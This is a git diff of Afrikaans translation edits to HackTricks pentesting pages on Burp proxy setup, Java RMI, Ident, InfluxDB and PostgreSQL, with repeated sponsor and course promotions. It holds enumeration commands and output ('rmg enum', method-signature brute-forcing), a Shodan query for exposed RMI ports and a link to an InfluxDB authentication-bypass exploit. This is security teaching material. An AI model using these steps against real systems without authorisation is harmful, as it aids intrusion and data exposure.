4. Vir geteikende monitering, soos die vasvang van HTTP-verkeer wat verband hou met 'n spesifieke IP-adres, kan Wireshark se Vastvangfilters gebruik word:
4. Vir geteikende monitering, soos die vaslegging van HTTP-verkeer wat verband hou met 'n spesifieke IP-adres, kan Wireshark se Vangsfilters gebruik word:
## Burp Sertifikaatinstallasie in Simulator
@ -96,7 +96,7 @@ In _Proxy_ --> _Opsies_ --> _Voer CA-sertifikaat uit_ --> _Sertifikaat in DER-fo
Stappe om Burp as proksi te konfigureer:
* Gaan na _Sisteemvoorkeure_ --> _Netwerk_ --> _Gevorderd_
* Op die _Proksi_ tab merk _Webproksi (HTTP)_ en _Veilige Webproksi (HTTPS)_
* Merk in die _Proksi_ tabblad _Webproksi (HTTP)_ en _Veilige Webproksi (HTTPS)_
* Konfigureer in beide opsies _127.0.0.1:8080_
![](<../../.gitbook/assets/image (431).png>)
@ -106,10 +106,10 @@ Stappe om Burp as proksi te konfigureer:
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werksvloei** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=burp-configuration-for-ios) om maklik te bou en **outomatiseer werksvloei** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=burp-configuration-for-ios" %}
<details>
@ -117,9 +117,9 @@ Kry Vandag Toegang:
Ander maniere om HackTricks te ondersteun:
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **laai HackTricks in PDF af** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.

View file

@ -2,29 +2,29 @@
<details>
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hakwerktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandaag Toegang:
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi) om maklik **werkstrome te bou en outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
## Basiese Inligting
_Java Remote Method Invocation_, of _Java RMI_, is 'n objekgeoriënteerde _RPC_ meganisme wat 'n objek wat in een _Java virtuele masjien_ geleë is, toelaat om metodes op 'n objek wat in 'n ander _Java virtuele masjien_ geleë is, te roep. Dit stel ontwikkelaars in staat om verspreide toepassings te skryf met behulp van 'n objekgeoriënteerde paradigma. 'n Kort inleiding tot _Java RMI_ vanuit 'n aanvallende perspektief kan gevind word in [hierdie blackhat praatjie](https://youtu.be/t\_aw1mDNhzI?t=202).
_Java Remote Method Invocation_, of _Java RMI_, is 'n objekgeoriënteerde _RPC_-meganisme wat 'n objek wat in een _Java virtuele masjien_ geleë is, toelaat om metodes op 'n objek wat in 'n ander _Java virtuele masjien_ geleë is, te roep. Dit stel ontwikkelaars in staat om verspreide toepassings te skryf met behulp van 'n objekgeoriënteerde paradigma. 'n Kort inleiding tot _Java RMI_ vanuit 'n aanvallende perspektief kan gevind word in [hierdie blackhat-aanbieding](https://youtu.be/t\_aw1mDNhzI?t=202).
**Verstekpoort:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
```
@ -47,7 +47,7 @@ Om dit eenvoudig te stel, maak _Java RMI_ dit vir 'n ontwikkelaar moontlik om 'n
Die eerste uitdaging word opgelos deur die _RMI-register_, wat basies 'n benamingdiens vir _Java RMI_ is. Die _RMI-register_ self is ook 'n _RMI-diens_, maar die geïmplementeerde koppelvlak en die `ObjID` is vas en bekend by alle _RMI_ kliënte. Dit maak dit vir _RMI_ kliënte moontlik om die _RMI-register_ te verbruik deur net die ooreenstemmende _TCP_ poort te ken.
Wanneer ontwikkelaars hul _Java objekte_ binne die netwerk beskikbaar wil maak, bind hulle dit gewoonlik aan 'n _RMI-register_. Die _register_ stoor alle inligting wat nodig is om met die objek te koppel (IP-adres, luisterpoort, geïmplementeerde klas of koppelvlak en die `ObjID`-waarde) en maak dit beskikbaar onder 'n menslike leesbare naam (die _gebonde naam_). Kliënte wat die _RMI-diens_ wil verbruik, vra die _RMI-register_ vir die ooreenstemmende _gebonde naam_ en die register gee al die nodige inligting om te koppel terug. Dus, die situasie is basies dieselfde as met 'n gewone _DNS_ diens. Die volgende lys toon 'n klein voorbeeld:
Wanneer ontwikkelaars hul _Java objekte_ binne die netwerk beskikbaar wil maak, bind hulle dit gewoonlik aan 'n _RMI-register_. Die _register_ stoor alle inligting wat nodig is om met die objek te koppel (IP-adres, luisterpoort, geïmplementeerde klas of koppelvlak en die `ObjID`-waarde) en maak dit beskikbaar onder 'n mensleesbare naam (die _gebonde naam_). Kliënte wat die _RMI-diens_ wil verbruik, vra die _RMI-register_ vir die ooreenstemmende _gebonde naam_ en die register gee al die nodige inligting om te koppel terug. Dus, die situasie is basies dieselfde as met 'n gewone _DNS_ diens. Die volgende lys toon 'n klein voorbeeld:
```java
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
@ -79,7 +79,7 @@ Saam met die verouderde _Aktiveringsisteem_ is hierdie die drie verstekkomponent
2. Die _Aktiveringsisteem_ (`ObjID = 1`)
3. Die _Verspreide Vullisverwyderaar_ (`ObjID = 2`)
Die verstekkomponente van _Java RMI_ is al 'n geruime tyd bekende aanvalsvectors en verskeie kwesbaarhede bestaan in verouderde _Java_-weergawes. Vanuit 'n aanvaller-perspektief is hierdie verstekkomponente interessant, omdat hulle bekende klasse / koppelvlakke geïmplementeer het en dit maklik is om met hulle te interaksieer. Hierdie situasie is anders vir aangepaste _RMI-dienste_. Om 'n metode op 'n _afgeleë voorwerp_ te roep, moet jy die ooreenstemmende metodesignatuur op voorhand ken. Sonder om 'n bestaande metodesignatuur te ken, is daar geen manier om met 'n _RMI-diens_ te kommunikeer nie.
Die verstekkomponente van _Java RMI_ is al 'n geruime tyd bekende aanvalsvectors en daar bestaan meerdere kwesbaarhede in verouderde _Java_-weergawes. Vanuit 'n aanvaller-perspektief is hierdie verstekkomponente interessant, omdat hulle bekende klasse / koppelvlakke geïmplementeer het en dit maklik is om met hulle te interaksieer. Hierdie situasie is anders vir aangepaste _RMI-dienste_. Om 'n metode op 'n _afgeleë voorwerp_ te roep, moet jy die ooreenstemmende metodesignatuur op voorhand ken. Sonder om 'n bestaande metodesignatuur te ken, is daar geen manier om met 'n _RMI-diens_ te kommunikeer nie.
## RMI Enumerasie
@ -145,7 +145,7 @@ $ rmg enum 172.17.0.2 9010
```
Die uitset van die enumerasie-aksie word meer in detail verduidelik in die [dokumentasiebladsye](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) van die projek. Afhangende van die uitkoms, moet jy probeer om geïdentifiseerde kwesbaarhede te verifieer.
Die `ObjID`-waardes wat deur _remote-method-guesser_ vertoon word, kan gebruik word om die bedryfstyd van die diens te bepaal. Dit mag help om ander kwesbaarhede te identifiseer:
Die `ObjID`-waardes wat deur _remote-method-guesser_ vertoon word, kan gebruik word om die tyd aanlyn van die diens te bepaal. Dit mag help om ander kwesbaarhede te identifiseer:
```
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
@ -160,7 +160,7 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
Selfs wanneer geen kwesbaarhede geïdentifiseer is tydens enumerasie, kan die beskikbare _RMI_ dienste steeds gevaarlike funksies blootstel. Verder, ten spyte van _RMI_ kommunikasie na _RMI_ standaard komponente wat beskerm word deur deserialisasie filters, wanneer daar met aangepaste _RMI_ dienste gepraat word, is sulke filters gewoonlik nie op hul plek nie. Om geldige metode handtekeninge op _RMI_ dienste te ken, is dus waardevol.
Ongelukkig ondersteun _Java RMI_ nie die opnoem van metodes op _remote objects_ nie. Dit gesê wees, dit is moontlik om metode handtekeninge met gereedskap soos [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) of [rmiscout](https://github.com/BishopFox/rmiscout) te bruteforce:
Ongelukkig ondersteun _Java RMI_ nie die opnoem van metodes op _afgeleë voorwerpe_ nie. Dit gesê wees, dit is moontlik om metode handtekeninge met gereedskap soos [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) of [rmiscout](https://github.com/BishopFox/rmiscout) te bruteforce:
```
$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
@ -229,7 +229,7 @@ Afgesien van raaiwerk, moet jy ook in soek enjins of _GitHub_ kyk vir die koppel
## Bekende Koppelvlakke
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) merk klasse of koppelvlakke as `bekend` as hulle gelys word in die gereedskap se interne databasis van bekende _RMI-diens_. In hierdie gevalle kan jy die `bekend` aksie gebruik om meer inligting oor die betrokke _RMI-diens_ te kry:
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) merk klasse of koppelvlakke as `bekend` as hulle gelys word in die gereedskap se interne databasis van bekende _RMI-dienste_. In hierdie gevalle kan jy die `bekend` aksie gebruik om meer inligting oor die betrokke _RMI-diens_ te kry:
```
$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
@ -290,7 +290,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
```
## Shodan
* `port:1099 java`
* `poort:1099 java`
## Gereedskap
@ -314,20 +314,20 @@ Command: rmg enum {IP} {PORT}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.

View file

@ -8,7 +8,7 @@ Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
@ -16,16 +16,16 @@ Ander maniere om HackTricks te ondersteun:
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=113-pentesting-ident) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=113-pentesting-ident" %}
## Basiese Inligting
Die **Ident-protokol** word oor die **Internet** gebruik om 'n **TCP-koppeling** met 'n spesifieke gebruiker te assosieer. Oorspronklik ontwerp om te help met **netwerkbestuur** en **sekuriteit**, werk dit deur 'n bediener toe te laat om 'n klient op poort 113 te ondervra om inligting te versoek oor die gebruiker van 'n spesifieke TCP-koppeling.
Die **Ident-protokol** word oor die **Internet** gebruik om 'n **TCP-konneksie** met 'n spesifieke gebruiker te assosieer. Oorspronklik ontwerp om te help met **netwerkbestuur** en **sekuriteit**, werk dit deur 'n bediener toe te laat om 'n klient op poort 113 te ondervra om inligting oor die gebruiker van 'n spesifieke TCP-konneksie te versoek.
Tog, as gevolg van moderne privaatheidskwessies en die potensiaal vir misbruik, het die gebruik daarvan afgeneem aangesien dit onbedoeld gebruikersinligting aan ongemagtigde partye kan blootstel. Verbeterde sekuriteitsmaatreëls, soos versleutelde koppeling en streng toegangsbeheer, word aanbeveel om hierdie risiko's te verminder.
Tog, as gevolg van moderne privaatheidskwessies en die potensiaal vir misbruik, het die gebruik daarvan afgeneem omdat dit onbedoeld gebruikersinligting aan ongemagtigde partye kan blootstel. Verbeterde sekuriteitsmaatreëls, soos versleutelde konneksies en streng toegangsbeheer, word aanbeveel om hierdie risiko's te verminder.
**Verstekpoort:** 113
```
@ -87,10 +87,10 @@ identd.conf
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
Gebruik [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=113-pentesting-ident) om maklik **werkstrome te bou** en te **outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=113-pentesting-ident" %}
## HackTricks Outomatiese Opdragte
```

View file

@ -3,22 +3,22 @@
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=8086-pentesting-influxdb) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=8086-pentesting-influxdb" %}
<details>
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking van niks tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
@ -31,7 +31,7 @@ Ander maniere om HackTricks te ondersteun:
PORT STATE SERVICE VERSION
8086/tcp open http InfluxDB http admin 1.7.5
```
## Opsomming
## Enumerasie
Vanuit 'n pentester-oogpunt is hierdie nog 'n databasis wat sensitiewe inligting kan stoor, dus is dit interessant om te weet hoe om al die inligting te dump.
@ -43,17 +43,17 @@ InfluxDB mag verifikasie vereis of nie.
influx -host 'host name' -port 'port #'
> use _internal
```
As jy 'n fout soos hierdie een kry: `ERR: unable to parse authentication credentials` beteken dit dat dit **sekere geloofsbriewe verwag**.
Indien jy 'n fout soos hierdie een kry: `ERR: unable to parse authentication credentials` beteken dit dat dit **sekere geloofsbriewe verwag**.
```
influx username influx password influx_pass
```
Daar was 'n kwesbaarheid in influxdb wat toegelaat het om die outentifikasie te omseil: [**CVE-2019-20933**](https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933)
### Handmatige Opsomming
### Handleiding Opname
Die inligting van hierdie voorbeeld is geneem van [**hier**](https://oznetnerd.com/2017/06/11/getting-know-influxdb/).
#### Wysig databasisse
#### Wys databasisse
Die gevonde databasisse is `telegraf` en `internal` (jy sal hierdie oral vind)
```bash
@ -66,7 +66,7 @@ _internal
```
#### Wysig tabelle/meetpunte
Die [**InfluxDB-dokumentasie**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting\_started/) verduidelik dat **meetpunte** in InfluxDB met SQL-tabelle vergelyk kan word. Die benaming van hierdie **meetpunte** dui op die inhoud daarvan, elkeen bevat data wat relevant is vir 'n spesifieke entiteit.
Die [**InfluxDB-dokumentasie**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting\_started/) verduidelik dat **meetpunte** in InfluxDB ge-parallel kan word met SQL-tabelle. Die benaming van hierdie **meetpunte** dui op hul onderskeie inhoud, elkeen bevat data wat relevant is vir 'n spesifieke entiteit.
```bash
> show measurements
name: measurements
@ -129,7 +129,7 @@ msf6 > use auxiliary/scanner/http/influxdb_enum
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -140,7 +140,7 @@ Ander maniere om HackTricks te ondersteun:
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=8086-pentesting-influxdb) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=8086-pentesting-influxdb" %}

View file

@ -3,30 +3,30 @@
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiseer werkafloeie** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskaps gereedskap.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %}
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **laai HackTricks af in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hak truuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
## **Basiese Inligting**
**PostgreSQL** word beskryf as 'n **objek-relasionele databasisstelsel** wat **oorspronklik** is. Hierdie stelsel maak nie net gebruik van die SQL-taal nie, maar verbeter dit ook met addisionele kenmerke. Sy vermoëns maak dit moontlik om 'n wye verskeidenheid datatipes en operasies te hanteer, wat dit 'n veelsydige keuse vir ontwikkelaars en organisasies maak.
